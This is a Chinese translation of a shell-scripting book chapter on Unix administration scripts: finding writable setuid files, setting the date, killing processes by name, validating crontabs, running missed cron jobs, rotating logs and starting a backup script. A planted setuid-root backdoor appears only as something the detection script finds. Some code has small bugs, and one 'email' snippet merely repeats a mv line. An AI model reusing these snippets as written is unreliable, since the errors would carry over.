这个脚本检查系统中所有 setuid 命令,查看它们是否对组或全体用户可写,并且检查它们是否在过去的 $mtime 天内被修改。为此,我们使用 find 命令 ➊,并指定搜索文件权限类型的参数。如果用户请求详细输出,所有具有 setuid 权限的脚本将被列出,无论其读/写权限和修改日期如何。

运行脚本

这个脚本有一个可选参数:-v 会生成详细输出,列出脚本遇到的每个 setuid 程序。这个脚本应该以 root 身份运行,但任何用户都可以运行,因为每个人都应该对关键目录有基本访问权限。

结果

我们在系统中某个地方放置了一个漏洞脚本。让我们看看 findsuid 能否在列表 6-2 中找到它。

$ findsuid
**** /var/tmp/.sneaky/editme (writeable and setuid root)

列表 6-2:运行 *findsuid* shell 脚本并找到反向门 shell 脚本

就在这里(列表 6-3)!

$ ls -l /var/tmp/.sneaky/editme
-rwsrwxrwx  1 root  wheel  25988 Jul 13 11:50 /var/tmp/.sneaky/editme

列表 6-3: *ls* 反向门的输出,显示权限中的 *s*,这意味着它是* *setuid**

这是一个巨大的漏洞,随时等待有人来利用。很高兴我们找到了它!

#46 设置系统日期

简洁性是 Linux 及其 Unix 前身的核心,这一特点对 Linux 的发展产生了深远影响。但在某些领域,这种简洁性会让系统管理员抓狂。最常见的烦恼之一就是重置系统日期所需的格式,如date命令所示:

usage: date [[[[[cc]yy]mm]dd]hh]mm[.ss]

尝试弄清楚所有方括号可能让人困惑,更不用说你需要或不需要指定什么了。我们来解释一下:你可以只输入分钟;或者分钟和秒;或者小时、分钟和秒;或者加上月份再加所有这些——或者你也可以加上年份,甚至是世纪。是的,疯狂!与其费劲去弄清楚这些,不如使用像列表 6-4 中的脚本,它会提示每个相关字段的输入,然后构建压缩日期字符串。这真的是一个保持理智的好帮手。

代码

   #!/bin/bash
   # setdate--Friendly frontend to the date command
   # Date wants: [[[[[cc]yy]mm]dd]hh]mm[.ss]

   # To make things user-friendly, this function prompts for a specific date
   #   value, displaying the default in [] based on the current date and time.

   . library.sh   # Source our library of bash functions to get echon().

➊ askvalue()
   {
     # $1 = field name, $2 = default value, $3 = max value,
     # $4 = required char/digit length

     echon "$1 [$2] : "
     read answer

     if [ ${answer:=$2} -gt $3 ] ; then
       echo "$0: $1 $answer is invalid"
       exit 0
     elif [ "$(( $(echo $answer | wc -c) - 1 ))" -lt $4 ] ; then
       echo "$0: $1 $answer is too short: please specify $4 digits"
       exit 0
     fi
     eval $1=$answer   # Reload the given variable with the specified value.
   }

➋ eval $(date "+nyear=%Y nmon=%m nday=%d nhr=%H nmin=%M")

   askvalue year $nyear 3000 4
   askvalue month $nmon 12 2
   askvalue day $nday 31 2
   askvalue hour $nhr 24 2
   askvalue minute $nmin 59 2

   squished="$year$month$day$hour$minute"

   # Or, if you're running a Linux system:
➌ #   squished="$month$day$hour$minute$year"
   #   Yes, Linux and OS X/BSD systems use different formats. Helpful, eh?

   echo "Setting date to $squished. You might need to enter your sudo password:"
   sudo date $squished

   exit 0

列表 6-4: *setdate* 脚本

工作原理

为了尽可能简洁地编写这个脚本,我们在 ➋ 使用了 eval 函数来完成两件事。首先,这一行使用 date 格式字符串设置当前的日期和时间值。其次,它设置了变量 nyearnmonndaynhrnmin 的值,这些值随后会被用于简单的 askvalue() 函数 ➊ 来提示和测试输入的值。通过使用 eval 函数为变量赋值,还可以避免在多次调用 askvalue() 函数之间日期发生变化或溢出的潜在问题,否则脚本中的数据将不一致。例如,如果 askvalue 在 23:59.59 获取了月份和日期的值,然后在 0:00:02 获取了小时和分钟的值,那么系统日期实际上会回滚 24 小时——这显然不是我们希望的结果。

我们还需要确保使用适合我们系统的正确日期格式字符串,因为例如,OS X 在设置日期时要求使用特定的格式,而 Linux 则要求使用稍微不同的格式。默认情况下,这个脚本使用的是 OS X 日期格式,但请注意,在注释中还提供了一个适用于 Linux 的格式字符串,见 ➌。

这是使用 date 命令时遇到的一个微妙问题。使用这个脚本时,如果你在提示过程中指定了确切的时间,但随后必须输入 sudo 密码,你可能会将系统时间设置为过去几秒钟的时间。这可能不会造成问题,但这也是为什么网络连接的系统应该使用网络时间协议(NTP)工具来与官方时间服务器同步的原因之一。你可以通过查阅你 Linux 或 Unix 系统上的 timed(8) 来开始了解网络时间同步。

运行脚本

请注意,脚本中使用 sudo 命令以 root 身份运行实际的日期重置操作,正如 Listing 6-5 所示。通过输入错误的 sudo 密码,你可以在不担心出现奇怪结果的情况下尝试这个脚本。

结果

$ setdate
year [2017] :
month [05] :
day [07] :
hour [16] : 14
minute [53] : 50
Setting date to 201705071450\. You might need to enter your sudo password:
passwd:
$

Listing 6-5: 测试交互式 *setdate* 脚本

#47 根据名称终止进程

Linux 和一些 Unix 系统有一个有用的命令 killall,它允许你终止所有与指定模式匹配的运行中的应用程序。当你需要终止九个 mingetty 守护进程,或者仅仅是想给 xinetd 发送一个 SIGHUP 信号来促使它重新读取配置文件时,这个命令非常有用。没有 killall 的系统可以通过基于 ps 来识别匹配的进程,并通过 kill 发送指定信号来模拟该命令。

脚本中最棘手的部分是 ps 的输出格式在不同操作系统之间差异显著。例如,考虑一下 FreeBSD、Red Hat Linux 和 OS X 在默认的 ps 输出中如何显示运行中的进程。首先看一下 FreeBSD 的输出:

BSD $ ps
 PID TT  STAT    TIME COMMAND
 792  0  Ss   0:00.02 -sh (sh)
4468  0  R+   0:00.01 ps

将这个输出与 Red Hat Linux 的输出进行比较:

RHL $ ps
  PID TTY          TIME CMD
 8065 pts/4    00:00:00 bash
12619 pts/4    00:00:00 ps

最后,比较一下 OS X 的输出:

OSX $ ps
  PID TTY           TIME CMD
37055 ttys000    0:00.01 -bash
26881 ttys001    0:00.08 -bash

更糟糕的是,GNU 的 ps 命令没有像典型的 Unix 命令那样模仿 ps,它接受 BSD 风格的标志、SYSV 风格的标志、以及 GNU 风格的标志。真是一个混乱的局面!

幸运的是,通过使用 cu 标志,一些这些不一致的问题在这个特定脚本中可以被规避,它会生成更一致的输出,包括进程的拥有者、完整的命令名称以及——我们真正感兴趣的——进程 ID。

这也是第一个我们真正使用 getopts 命令的脚本,它让我们可以处理许多不同的命令行选项,甚至传入可选值。 Listing 6-6 中的脚本有四个起始标志,其中三个需要参数:-s *SIGNAL*-u *USER*-t *TTY*-n。你将在代码的第一部分看到它们。

代码

   #!/bin/bash

   # killall--Sends the specified signal to all processes that match a
   #   specific process name

   # By default it kills only processes owned by the same user, unless you're
   #   root. Use -s SIGNAL to specify a signal to send to the process, -u USER
   #   to specify the user, -t TTY to specify a tty, and -n to only report what
   #   should be done, rather than doing it.

   signal="-INT"      # Default signal is an interrupt.
   user=""   tty=""   donothing=0

   while getopts "s:u:t:n" opt; do
     case "$opt" in
           # Note the trick below: the actual kill command wants -SIGNAL
           #   but we want SIGNAL, so we'll just prepend the "-" below.
       s ) signal="-$OPTARG";              ;;
       u ) if [ ! -z "$tty" ] ; then
             # Logic error: you can't specify a user and a TTY device
             echo "$0: error: -u and -t are mutually exclusive." >&2
             exit 1
           fi
           user=$OPTARG;                  ;;
       t ) if [ ! -z "$user" ] ; then
              echo "$0: error: -u and -t are mutually exclusive." >&2
              exit 1
           fi
           tty=$2;                        ;;
       n ) donothing=1;                   ;;
       ? ) echo "Usage: $0 [-s signal] [-u user|-t tty] [-n] pattern" >&2
           exit 1
     esac
   done

   # Done with processing all the starting flags with getopts...
   shift $(( $OPTIND - 1 ))

   # If the user doesn't specify any starting arguments (earlier test is for -?)
   if [ $# -eq 0 ] ; then
     echo "Usage: $0 [-s signal] [-u user|-t tty] [-n] pattern" >&2
     exit 1
   fi

   # Now we need to generate a list of matching process IDs, either based on
   #   the specified TTY device, the specified user, or the current user.

   if [ ! -z "$tty" ] ; then
➊   pids=$(ps cu -t $tty | awk "/ $1$/ { print \$2 }")
   elif [ ! -z "$user" ] ; then
➋   pids=$(ps cu -U $user | awk "/ $1$/ { print \$2 }")
   else
➌   pids=$(ps cu -U ${USER:-LOGNAME} | awk "/ $1$/ { print \$2 }")
   fi

   # No matches? That was easy!
   if [ -z "$pids" ] ; then
     echo "$0: no processes match pattern $1" >&2
     exit 1
   fi

   for pid in $pids
   do
     # Sending signal $signal to process id $pid: kill might still complain
     #   if the process has finished, the user doesn't have permission to kill
     #   the specific process, etc., but that's okay. Our job, at least, is done.
     if [ $donothing -eq 1 ] ; then
       echo "kill $signal $pid" # The -n flag: "show me, but don't do it"
     else
       kill $signal $pid
     fi
   done

   exit 0

Listing 6-6: *killall* 脚本

工作原理

由于这个脚本非常强大且潜在危险,我们做了额外的努力来最小化错误的模式匹配,以防像sh这样的模式匹配到ps输出中的bashvi crashtest.c等值。这是通过在awk命令上加上模式匹配前缀来实现的(➊,➋,➌)。

左根模式 $1,前面加一个空格并且右根模式 后面加上$,使得脚本能够在ps输出中将指定模式'sh'匹配为' sh$'

运行脚本

这个脚本有多种启动标志,可以让你修改它的行为。-s *SIGNAL*标志允许你指定一个不同于默认中断信号SIGINT的信号,发送到匹配的进程。-u *USER*-t *TTY*标志主要对 root 用户有用,分别用于杀死与指定用户或 TTY 设备相关的所有进程。而-n标志则让你选择是否仅报告脚本将要执行的操作,而不实际发送任何信号。最后,必须指定一个进程名称模式。

结果

要在 OS X 上杀死所有csmount进程,你现在可以使用killall脚本,如清单 6-7 所示。

$ ./killall -n csmount
kill -INT 1292
kill -INT 1296
kill -INT 1306
kill -INT 1310
kill -INT 1318

清单 6-7:在任何*csmount*进程上运行*killall*脚本

破解脚本

虽然不太可能,但在运行这个脚本时可能会出现一个不太可能的错误。为了仅匹配指定的模式,awk调用会输出匹配该模式的进程 ID,并且输入行的末尾会有一个前置空格。但理论上有可能有两个进程同时运行——例如,一个叫bash,另一个叫emulate bash。如果用bash作为模式调用killall,这两个进程都会被匹配,尽管只有前者是真正的匹配。解决这个问题并确保跨平台的一致性结果会非常棘手。

如果你有动力,你还可以编写一个基于killall脚本的脚本,允许你通过名称而不仅仅是通过进程 ID 来renice任务。唯一需要更改的就是调用renice而不是kill。调用renice可以让你改变程序的相对优先级,比如,你可以降低长时间文件传输的优先级,同时提高老板正在运行的视频编辑器的优先级。

#48 验证用户 crontab 条目

在 Linux 世界中,最有用的工具之一就是cron,它能够在将来的任意时间安排任务,或者让任务每分钟、每几个小时、每月甚至每年自动运行。每个优秀的系统管理员都有一把来自crontab文件的瑞士军刀式的脚本。

然而,输入cron规范的格式有点复杂,而cron字段具有数字值、范围、集合,甚至是星期几或月份的助记名称。更糟糕的是,当crontab程序遇到用户或系统cron文件中的问题时,会生成难以理解的错误信息。

例如,如果你指定一个有拼写错误的星期几,crontab会报告类似下面的错误:

"/tmp/crontab.Dj7Tr4vw6R":9: bad day-of-week
crontab: errors in crontab file, can't install

实际上,示例输入文件的第 12 行存在第二个错误,但由于crontab的错误检查代码很差,它将迫使我们在脚本中采取较长的方式来查找该错误。

与其按照crontab要求的方式进行错误检查,不如使用一个稍长的 Shell 脚本(见列表 6-8),它可以逐步检查crontab文件,检查语法并确保值在合理的范围内。这种验证能够在 Shell 脚本中实现的原因之一是,集合和范围可以作为单独的值来处理。因此,要测试3-11469是否是某个字段的有效值,只需要测试前者的311,以及后者的469

代码

   #!/bin/bash
   # verifycron--Checks a crontab file to ensure that it's formatted properly.
   #   Expects standard cron notation of min hr dom mon dow CMD, where min is
   #   0-59, hr is 0-23, dom is 1-31, mon is 1-12 (or names), and dow is 0-7
   #   (or names). Fields can be ranges (a-e) or lists separated by commas
   #   (a,c,z) or an asterisk. Note that the step value notation of Vixie cron
   #   (e.g., 2-6/2) is not supported by this script in its current version.

   validNum()
   {
     # Return 0 if the number given is a valid integer and 1 if not.
     #   Specify both number and maxvalue as args to the function.
     num=$1   max=$2

 # Asterisk values in fields are rewritten as "X" for simplicity,
     #   so any number in the form "X" is de facto valid.

     if [ "$num" = "X" ] ; then
       return 0
     elif [ ! -z $(echo $num | sed 's/[[:digit:]]//g') ] ; then
       # Stripped out all the digits, and the remainder isn't empty? No good.
       return 1
     elif [ $num -gt $max ] ; then
       # Number is bigger than the maximum value allowed.
       return 1
     else
       return 0
     fi
   }

   validDay()
   {
     # Return 0 if the value passed to this function is a valid day name;
     #   1 otherwise.

     case $(echo $1 | tr '[:upper:]' '[:lower:]') in
       sun*|mon*|tue*|wed*|thu*|fri*|sat*) return 0 ;;
       X) return 0 ;;         # Special case, it's a rewritten "*"
       *) return 1
     esac
   }

   validMon()
   {
     # This function returns 0 if given a valid month name; 1 otherwise.

     case $(echo $1 | tr '[:upper:]' '[:lower:]') in
       jan*|feb*|mar*|apr*|may|jun*|jul*|aug*) return 0           ;;
       sep*|oct*|nov*|dec*)                    return 0           ;;
       X) return 0 ;; # Special case, it's a rewritten "*"
       *) return 1        ;;
     esac
   }

➊ fixvars()
   {
     # Translate all '*' into 'X' to bypass shell expansion hassles.
     #   Save original input as "sourceline" for error messages.

     sourceline="$min $hour $dom $mon $dow $command"
       min=$(echo "$min" | tr '*' 'X')      # Minute
       hour=$(echo "$hour" | tr '*' 'X')    # Hour
       dom=$(echo "$dom" | tr '*' 'X')      # Day of month
       mon=$(echo "$mon" | tr '*' 'X')      # Month
       dow=$(echo "$dow" | tr '*' 'X')      # Day of week
   }

 if [ $# -ne 1 ] || [ ! -r $1 ] ; then
     # If no crontab filename is given or if it's not readable by the script, fail.
     echo "Usage: $0 usercrontabfile" >&2
     exit 1
   fi

   lines=0  entries=0  totalerrors=0

   # Go through the crontab file line by line, checking each one.

   while read min hour dom mon dow command
   do
     lines="$(( $lines + 1 ))"
     errors=0

     if [ -z "$min" -o "${min%${min#?}}" = "#" ] ; then
       # If it's a blank line or the first character of the line is "#", skip it.
       continue    # Nothing to check
     fi

     ((entries++))

     fixvars

     # At this point, all the fields in the current line are split out into
     #   separate variables, with all asterisks replaced by "X" for convenience,
     #   so let's check the validity of input fields...

     # Minute check

➋   for minslice in $(echo "$min" | sed 's/[,-]/ /g') ; do
       if ! validNum $minslice 60 ; then
         echo "Line ${lines}: Invalid minute value \"$minslice\""
         errors=1
       fi
     done

     # Hour check

➌   for hrslice in $(echo "$hour" | sed 's/[,-]/ /g') ; do
       if ! validNum $hrslice 24 ; then
         echo "Line ${lines}: Invalid hour value \"$hrslice\""
         errors=1
       fi
     done

     # Day of month check

➍   for domslice in $(echo $dom | sed 's/[,-]/ /g') ; do
       if ! validNum $domslice 31 ; then
         echo "Line ${lines}: Invalid day of month value \"$domslice\""
         errors=1
       fi
     done

 # Month check: Has to check for numeric values and names both.
     #   Remember that a conditional like "if ! cond" means that it's
     #   testing whether the specified condition is FALSE, not true.

➎   for monslice in $(echo "$mon" | sed 's/[,-]/ /g') ; do
       if ! validNum $monslice 12 ; then
         if ! validMon "$monslice" ; then
           echo "Line ${lines}: Invalid month value \"$monslice\""
           errors=1
         fi
       fi
     done

     # Day of week check: Again, name or number is possible.

➏   for dowslice in $(echo "$dow" | sed 's/[,-]/ /g') ; do
       if ! validNum $dowslice 7 ; then
         if ! validDay $dowslice ; then
           echo "Line ${lines}: Invalid day of week value \"$dowslice\""
           errors=1
         fi
       fi
     done

     if [ $errors -gt 0 ] ; then
       echo ">>>> ${lines}: $sourceline"
       echo ""
       totalerrors="$(( $totalerrors + 1 ))"
     fi
   done < $1 # read the crontab passed as an argument to the script

   # Notice that it's here, at the very end of the while loop, that we
   #   redirect the input so that the user-specified filename can be
   #   examined by the script!

   echo "Done. Found $totalerrors errors in $entries crontab entries."

   exit 0

列表 6-8: *verifycron* 脚本

工作原理

使这个脚本正常工作面临的最大挑战是避免由于 Shell 扩展星号字段值(*)而产生的问题。在cron条目中,星号是完全可以接受的,实际上也非常常见,但如果你通过$( )序列或管道将其传递给子 Shell,Shell 会自动将其扩展为当前目录中的文件列表——显然这不是我们想要的结果。与其为了解决这个问题而纠结于单引号和双引号的组合,不如将每个星号替换为一个X,这就是fixvars函数➊所做的,它会将内容分割成独立的变量,供后续测试使用。

另外值得注意的是,处理以逗号和破折号分隔的值列表的简单解决方案。标点符号会被空格替换,每个值会像独立的数字值一样进行测试。这就是在➋、➌、➍、➎和➏的for循环中,$( )序列所做的事情:

$(echo "$dow" | sed 's/[,-]/ /g')

这使得逐一检查所有数字值变得简单,确保每个值都是有效的,并且在该特定crontab字段参数的范围内。

运行脚本

这个脚本非常易于运行:只需将crontab文件的名称作为唯一参数指定即可。要处理现有的crontab文件,请参见列表 6-9。

$ crontab -l > my.crontab
$ verifycron my.crontab
$ rm my.crontab

列表 6-9:在导出当前 *cron* 文件后运行 *verifycron* 脚本

结果

使用一个包含两个错误和大量注释的示例crontab文件,脚本将生成在列表 6-10 中显示的结果。

$ verifycron sample.crontab
Line 10: Invalid day of week value "Mou"
>>>> 10: 06 22 * * Mou /home/ACeSystem/bin/del_old_ACinventories.pl

Line 12: Invalid minute value "99"
>>>> 12: 99 22 * * 1-3,6 /home/ACeSystem/bin/dump_cust_part_no.pl

Done. Found 2 errors in 13 crontab entries.

列表 6-10:在含有无效条目的 *cron* 文件上运行 *verifycron* 脚本

包含两个错误的示例crontab文件,以及本书中探讨的所有 shell 脚本,可以在www.nostarch.com/wcss2/上找到。

破解脚本

有一些增强功能可能值得添加到这个脚本中。验证月份和日期组合的兼容性可以确保用户不会调度cron作业在例如 2 月 31 日运行。检查被调用的命令是否能实际找到也是有用的,但这需要解析和处理PATH变量(即用于查找脚本中指定的命令的目录列表),该变量可以在crontab文件中显式设置。这可能会非常棘手……最后,你还可以添加对诸如@hourly@reboot等特殊值的支持,它们是cron中用于表示常见脚本运行时间的特殊值。

#49 确保系统 cron 作业被执行

直到最近,Linux 系统都设计为作为服务器运行——全天候 24 小时,每周 7 天,永远不停。你可以在cron工具的设计中看到这种隐性预期:如果系统每天晚上 6 点关机,那么在每周四凌晨 2:17 调度任务就没有意义。

然而,许多现代 Unix 和 Linux 用户正在使用桌面电脑和笔记本电脑,因此他们在一天结束时会关闭系统。例如,对于 OS X 用户来说,系统过夜运行是相当陌生的,更别提在周末或假期中运行了。

这对于用户的crontab条目来说不是大问题,因为那些由于关机计划未能执行的条目可以调整,以确保最终能够被调用。问题出现在系统中日常、每周和每月的cron作业上,它们是底层系统的一部分,但未能在指定的时间执行。

这就是示例 6-11 中脚本的目的:允许管理员根据需要直接从命令行调用日常、每周或每月作业。

代码

   #!/bin/bash

   # docron--Runs the daily, weekly, and monthly system cron jobs on a system
   #   that's likely to be shut down during the usual time of day when the system
   #   cron jobs would otherwise be scheduled to run.

   rootcron="/etc/crontab"   # This is going to vary significantly based on
                             # which version of Unix or Linux you've got.

   if [ $# -ne 1 ] ; then
     echo "Usage: $0 [daily|weekly|monthly]" >&2
     exit 1
   fi

   # If this script isn't being run by the administrator, fail out.
   #   In earlier scripts, you saw USER and LOGNAME being tested, but in
   #   this situation, we'll check the user ID value directly. Root = 0.

   if [ "$(id -u)" -ne 0 ] ; then
     # Or you can use $(whoami) != "root" here, as needed.
     echo "$0: Command must be run as 'root'" >&2
     exit 1
   fi

   # We assume that the root cron has entries for 'daily', 'weekly', and
   #   'monthly' jobs. If we can't find a match for the one specified, well,
   #   that's an error. But first, we'll try to get the command if there is
   #   a match (which is what we expect).

➊ job="$(awk "NF > 6 && /$1/ { for (i=7;i<=NF;i++) print \$i }" $rootcron)"

   if [ -z "$job" ] ; then   # No job? Weird. Okay, that's an error.
     echo "$0: Error: no $1 job found in $rootcron" >&2
     exit 1
   fi

   SHELL=$(which sh)        # To be consistent with cron's default

➋ eval $job                # We'll exit once the job is finished.

示例 6-11: *docron* 脚本

它是如何工作的

位于/etc/daily/etc/weekly/etc/monthly(或/etc/cron.daily/etc/cron.weekly/etc/cron.monthly)中的cron作业与用户的crontab文件设置方式完全不同:每个目录包含一组脚本,每个作业对应一个脚本,这些脚本由crontab工具根据/etc/crontab文件中的设置执行。更让人困惑的是,/etc/crontab文件的格式也不同,因为它添加了一个额外的字段,用于指示应该由哪个有效的用户 ID 来执行作业。

/etc/crontab文件指定了每天、每周和每月作业的运行时间(在下列输出的第二列中),其格式与作为普通 Linux 用户所见的完全不同,如下所示:

$ egrep '(daily|weekly|monthly)' /etc/crontab
# Run daily/weekly/monthly jobs.
15      3       *       *       *       root    periodic daily
30      4       *       *       6       root    periodic weekly
30      5       1       *       *       root    periodic monthly

如果这个系统没有在每天凌晨 3:15、每周六早晨 4:30、以及每月 1 日早晨 5:30 运行,那么日常、每周和每月的任务会发生什么?什么也不发生。它们就是不会运行。

与其强行让cron运行任务,我们编写的脚本会在此文件中识别任务 ➊,并通过最后一行的eval直接运行它们 ➋。从这个脚本调用任务和作为cron任务调用任务的唯一区别在于,当任务从cron运行时,它们的输出流会自动转为电子邮件消息,而这个脚本则会在屏幕上显示输出流。

当然,你也可以通过如下方式调用脚本,复制cron的电子邮件行为:

./docron weekly | mail -E -s "weekly cron job" admin

运行脚本

这个脚本必须以 root 身份运行,并且有一个参数——dailyweeklymonthly——用于指示你想运行哪个组的系统cron任务。像往常一样,我们强烈推荐使用sudo来以 root 身份运行任何脚本。

结果

这个脚本基本没有直接输出,只会显示在crontab中运行的脚本结果,除非在脚本本身或由cron脚本启动的某个任务中遇到错误。

破解脚本

有些任务不应该每周或每月运行超过一次,因此确实应该有某种检查机制来确保它们不会更频繁地运行。此外,有时系统的定期任务可能会从cron运行,所以我们不能笼统地假设如果docron没有运行,任务就没有运行。

一种解决方案是创建三个空的时间戳文件,分别用于日常、每周和每月任务,然后在/etc/daily/etc/weekly/etc/monthly目录中添加新条目,通过touch更新每个时间戳文件的最后修改日期。这将解决一半的问题:docron可以检查上次调用定期cron任务的时间,并在经过的时间不足以证明任务应该重新运行时退出。

这个解决方案没有处理的情况是:在上次每月cron任务运行后的六周,管理员运行docron来调用每月任务。然后四天后,有人忘记关闭电脑,每月的cron任务被再次调用。那时,如何确保这个任务知道不再需要执行每月任务呢?

可以将两个脚本添加到适当的目录中。第一个脚本必须首先通过run-scriptperiodic运行(这是调用cron任务的标准方式),然后可以关闭目录中所有其他脚本的可执行权限,除了其配对脚本外,后者会在run-scriptperiodic扫描并确认没有需要执行的任务后,将可执行权限恢复。这种方法并不是一个理想的解决方案,因为无法保证脚本的执行顺序,如果我们不能确保新脚本的执行顺序,整个解决方案就会失败。

事实上,可能没有一个完美的解决方案来解决这个困境。或者它可能涉及编写一个run-scriptperiodic的包装器,能够管理时间戳,确保任务不会执行得过于频繁。也许我们只是担心了一些从大局来看并不那么严重的事情。image

#50 轮转日志文件

对于没有太多 Linux 经验的用户来说,系统日志文件中记录事件的命令、工具和守护进程的数量可能会让他们感到惊讶。即使是在磁盘空间充足的计算机上,也需要注意这些文件的大小——当然,也需要关注它们的内容。

因此,许多系统管理员会在其日志文件分析工具的顶部放置一组指令,类似于这里展示的命令:

mv $log.2 $log.3
mv $log.1 $log.2
mv $log $log.1
touch $log

如果每周运行一次,这将生成一个滚动的一个月日志文件信息归档,将数据分成按周划分的部分。然而,同样容易创建一个脚本,可以一次性处理/var/log目录中的所有日志文件,从而减轻任何日志文件分析脚本的负担,并且在管理员没有进行任何分析的月份也能管理日志。

列表 6-12 中的脚本逐一处理/var/log目录中符合特定标准的每个文件,检查每个匹配文件的轮转计划和最后修改日期,以确定是否需要轮转该文件。如果需要轮转,脚本会执行轮转操作。

代码

#!/bin/bash
# rotatelogs--Rolls logfiles in /var/log for archival purposes and to ensure
#   that the files don't get unmanageably large. This script uses a config
#   file to allow customization of how frequently each log should be rolled.
#   The config file is in logfilename=duration format, where duration is
#   in days. If, in the config file, an entry is missing for a particular
#   logfilename, rotatelogs won't rotate the file more frequently than every
#   seven days. If duration is set to zero, the script will ignore that
#   particular set of log files.

logdir="/var/log"             # Your logfile directory could vary.
config="$logdir/rotatelogs.conf"
mv="/bin/mv"

default_duration=7     # We'll default to a 7-day rotation schedule.
count=0

duration=$default_duration

if [ ! -f $config ] ; then
  # No config file for this script? We're out. You could also safely remove
  #   this test and simply ignore customizations when the config file is
  #   missing.
  echo "$0: no config file found. Can't proceed." >&2
  exit 1
fi

if [ ! -w $logdir -o ! -x $logdir ] ; then
  # -w is write permission and -x is execute. You need both to create new
  #   files in a Unix or Linux directory. If you don't have 'em, we fail.
  echo "$0: you don't have the appropriate permissions in $logdir" >&2
  exit 1
fi

cd $logdir

# While we'd like to use a standardized set notation like :digit: with
#   the find, many versions of find don't support POSIX character class
#   identifiers--hence [0-9].

# This is a pretty gnarly find statement that's explained in the prose
#   further in this section. Keep reading if you're curious!

for name in $(➊find . -maxdepth 1 -type f -size +0c ! -name '*[0-9]*' \
     ! -name '\.*' ! -name '*conf' -print | sed 's/^\.\///')
do

  count=$(( $count + 1 ))
  # Grab the matching entry from the config file for this particular log file.

  duration="$(grep "^${name}=" $config|cut -d= -f2)"

  if [ -z "$duration" ] ; then
    duration=$default_duration   # If there isn't a match, use the default.
  elif [ "$duration" = "0" ] ; then
    echo "Duration set to zero: skipping $name"
    continue
  fi

  # Set up the rotation filenames. Easy enough:

  back1="${name}.1"; back2="${name}.2";
  back3="${name}.3"; back4="${name}.4";

  # If the most recently rolled log file (back1) has been modified within
  #   the specific quantum, then it's not time to rotate it. This can be
  #   found with the -mtime modification time test to find.
 if [ -f "$back1" ] ; then
    if [ -z "$(find \"$back1\" -mtime +$duration -print 2>/dev/null)" ]
    then
      /bin/echo -n "$name's most recent backup is more recent than $duration "
      echo "days: skipping" ;   continue
    fi
  fi

  echo "Rotating log $name (using a $duration day schedule)"

  # Rotate, starting with the oldest log, but be careful in case one
  #   or more files simply don't exist yet.

  if [ -f "$back3" ] ; then
    echo "... $back3 -> $back4" ; $mv -f "$back3" "$back4"
  fi
  if [ -f "$back2" ] ; then
    echo "... $back2 -> $back3" ; $mv -f "$back2" "$back3"
  fi
  if [ -f "$back1" ] ; then
    echo "... $back1 -> $back2" ; $mv -f "$back1" "$back2"
  fi
  if [ -f "$name" ] ; then
    echo "... $name -> $back1" ; $mv -f "$name" "$back1"
  fi
  touch "$name"
  chmod 0600 "$name"    # Last step: Change file to rw------- for privacy
done

if [ $count -eq 0 ] ; then
  echo "Nothing to do: no log files big enough or old enough to rotate"
fi

exit 0

列表 6-12:*rotatelogs* 脚本

为了最大程度地发挥作用,脚本与一个配置文件一起工作,该配置文件位于/var/log中,允许管理员为不同的日志文件指定不同的轮转计划。一个典型配置文件的内容如列表 6-13 所示。

# Configuration file for the log rotation script: Format is name=duration,
#   where name can be any filename that appears in the /var/log directory.
#   Duration is measured in days.

ftp.log=30
lastlog=14
lookupd.log=7
lpr.log=30
mail.log=7
netinfo.log=7
secure.log=7
statistics=7
system.log=14
# Anything with a duration of zero is not rotated.
wtmp=0

列表 6-13:*rotatelogs* 脚本的示例配置文件

工作原理

该脚本的核心部分,也是最棘手的部分,是 ➊ 处的 find 语句。find 语句创建了一个循环,返回所有在 /var/log 目录下,大小大于零字符的文件,这些文件名中不包含数字、不以点号开头(特别是 OS X 会在该目录下产生许多奇怪命名的日志文件——这些都需要跳过),并且不以 conf 结尾(显而易见,我们不想轮转 rotatelogs.conf 文件)。maxdepth 1 确保 find 不会进入子目录,最后的 sed 调用则移除了匹配结果中的任何前导 ./ 序列。

注意

懒是好事! *rotatelogs* 脚本展示了 Shell 脚本编程中的一个基本概念:避免重复工作的价值。与其让每个日志分析脚本单独轮转日志,不如由一个单一的日志轮转脚本来集中处理这一任务,从而使修改变得更简单。

运行脚本

该脚本不接受任何参数,但它会打印出正在轮转哪些日志以及为什么要这样做的信息。它也应以 root 身份运行。

结果

rotatelogs 脚本易于使用,如 列表 6-14 所示,但请注意,根据文件权限,它可能需要以 root 身份运行。

$ sudo rotatelogs
ftp.log's most recent backup is more recent than 30 days: skipping
Rotating log lastlog (using a 14 day schedule)
... lastlog -> lastlog.1
lpr.log's most recent backup is more recent than 30 days: skipping

列表 6-14:以 root 身份运行 *rotatelogs* 脚本以轮转 /var/log 中的日志。

请注意,在此调用中,只有三个日志文件符合指定的 find 条件。根据配置文件中的持续时间值,其中只有 lastlog 文件最近没有得到足够的备份。然而,再次运行 rotatelogs 后,什么也没有发生,如 列表 6-15 所示。

$ sudo rotatelogs
ftp.log's most recent backup is more recent than 30 days: skipping
lastlog's most recent backup is more recent than 14 days: skipping
lpr.log's most recent backup is more recent than 30 days: skipping

列表 6-15:再次运行 *rotatelogs* 显示无需再轮转其他日志。

破解脚本

让这个脚本更有用的一种方法是,在 $back4 文件被 mv 命令覆盖之前,将最旧的存档文件通过电子邮件发送或复制到云存储网站上。对于电子邮件的简单情况,脚本可能就像这样:

echo "... $back3 -> $back4" ; $mv -f "$back3" "$back4"

rotatelogs 的另一个有用增强是将所有轮转的日志压缩,以进一步节省磁盘空间;这将要求脚本在执行时能够识别并正确处理压缩文件。

#51 管理备份

管理系统备份是所有系统管理员都熟悉的任务,而且这是一个几乎得不到任何感谢的工作。没有人会说:“嘿,那个备份正常工作——干得好!”即便是在单用户的 Linux 计算机上,也需要某种备份计划。不幸的是,通常只有在数据和文件丢失后,你才会意识到定期备份的重要性。许多 Linux 系统忽视备份的原因之一是许多备份工具原始且难以理解。

一个 shell 脚本可以解决这个问题!清单 6-16 中的脚本备份指定的一组目录,可以选择增量备份(即,仅备份自上次备份以来发生变化的文件)或完整备份(所有文件)。备份会实时压缩,以最小化磁盘空间的使用,脚本输出可以定向到文件、磁带设备、远程挂载的 NFS 分区、云备份服务(例如我们在书中稍后设置的服务),甚至是 DVD。

代码

   #!/bin/bash

   # backup--Creates either a full or incremental backup of a set of defined
   #   directories on the system. By default, the output file is compressed and
   #   saved in /tmp with a timestamped filename. Otherwise, specify an output
   #   device (another disk, a removable storage device, or whatever else floats
   #   your boat).

 compress="bzip2"                 # Change to your favorite compression app.
    inclist="/tmp/backup.inclist.$(date +%d%m%y)"
     output="/tmp/backup.$(date +%d%m%y).bz2"
     tsfile="$HOME/.backup.timestamp"
